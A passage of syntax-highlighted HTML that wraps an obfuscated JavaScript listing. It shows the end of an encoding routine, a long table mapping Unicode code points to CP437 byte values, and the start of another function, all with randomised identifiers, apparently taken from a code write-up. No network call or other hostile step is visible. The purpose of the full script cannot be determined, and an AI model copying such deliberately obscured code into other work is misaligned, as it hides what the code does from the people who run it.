<span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>char_set<span class=\"token punctuation\">.</span><span class=\"token function\">charAt</span><span class=\"token punctuation\">(</span><span class=\"token function\">parseInt</span><span class=\"token punctuation\">(</span>AaP0<span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>sW_c<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>sW_c<span class=\"token punctuation\">.</span>length <span class=\"token operator\">&lt;</span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span> sW_c <span class=\"token operator\">+=</span> <span class=\"token string\">\"0\"</span><span class=\"token punctuation\">;</span>\n        bzwO <span class=\"token operator\">+=</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>char_set<span class=\"token punctuation\">.</span><span class=\"token function\">charAt</span><span class=\"token punctuation\">(</span><span class=\"token function\">parseInt</span><span class=\"token punctuation\">(</span>sW_c<span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>bzwO<span class=\"token punctuation\">.</span>length <span class=\"token operator\">%</span> <span class=\"token punctuation\">(</span>j5zO <span class=\"token operator\">?</span> <span class=\"token number\">4</span> <span class=\"token operator\">:</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> bzwO <span class=\"token operator\">+=</span> <span class=\"token string\">\"=\"</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">return</span> bzwO<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">var</span> lW6t <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"C7\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"80\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"FC\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"81\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"E9\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"82\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"E2\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"83\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"E4\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"84\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"E0\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"85\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"E5\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"86\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"E7\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"87\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"EA\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"88\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"EB\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"89\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"E8\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"8A\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"EF\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"8B\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"EE\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"8C\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"EC\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"8D\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"C4\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"8E\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"C5\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"8F\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"C9\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"90\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"E6\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"91\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"C6\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"92\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"F4\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"93\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"F6\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"94\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"F2\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"95\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"FB\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"96\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"F9\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"97\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"FF\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"98\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"D6\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"99\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"DC\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"9A\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"A2\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"9B\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"A3\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"9C\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"A5\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"9D\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"20A7\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"9E\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"192\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"9F\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"E1\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"A0\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"ED\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"A1\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"F3\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"A2\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"FA\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"A3\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"F1\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"A4\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"D1\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"A5\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"AA\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"A6\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"BA\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"A7\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"BF\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"A8\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2310\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"A9\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"AC\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"AA\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"BD\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"AB\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"BC\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"AC\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"A1\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"AD\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"AB\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"AE\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"BB\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"AF\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2591\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"B0\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2592\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"B1\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2593\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"B2\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2502\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"B3\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2524\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"B4\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2561\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"B5\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2562\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"B6\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2556\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"B7\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2555\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"B8\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2563\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"B9\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2551\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"BA\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2557\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"BB\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"255D\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"BC\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"255C\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"BD\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"255B\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"BE\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2510\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"BF\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2514\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"C0\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2534\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"C1\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"252C\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"C2\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"251C\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"C3\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2500\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"C4\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"253C\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"C5\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"255E\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"C6\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"255F\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"C7\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"255A\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"C8\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2554\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"C9\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2569\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"CA\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2566\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"CB\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2560\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"CC\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2550\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"CD\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"256C\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"CE\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2567\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"CF\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2568\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"D0\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2564\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"D1\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2565\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"D2\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2559\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"D3\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2558\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"D4\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2552\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"D5\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2553\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"D6\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"256B\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"D7\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"256A\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"D8\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2518\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"D9\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"250C\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"DA\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2588\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"DB\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2584\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"DC\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"258C\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"DD\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2590\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"DE\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2580\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"DF\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"3B1\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"E0\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"DF\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"E1\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"393\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"E2\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"3C0\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"E3\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"3A3\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"E4\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"3C3\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"E5\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"B5\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"E6\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"3C4\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"E7\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"3A6\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"E8\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"398\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"E9\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"3A9\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"EA\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"3B4\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"EB\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"221E\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"EC\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"3C6\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"ED\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"3B5\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"EE\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2229\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"EF\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2261\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"F0\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"B1\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"F1\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2265\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"F2\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2264\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"F3\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2320\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"F4\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2321\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"F5\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"F7\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"F6\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2248\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"F7\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"B0\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"F8\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"2219\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"F9\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"B7\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"FA\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"221A\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"FB\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"207F\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"FC\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"B2\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"FD\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"25A0\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"FE\"</span><span class=\"token punctuation\">;</span>\nlW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"A0\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"FF\"</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">function</span> <span class=\"token function\">a0rV</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">var</span> YrUH <span class=\"token operator\">=</span> Math<span class=\"token punctuation\">.</span><span class=\"token function\">ceil</span><span class=\"token punctuation\">(</span>Math<span class=\"token 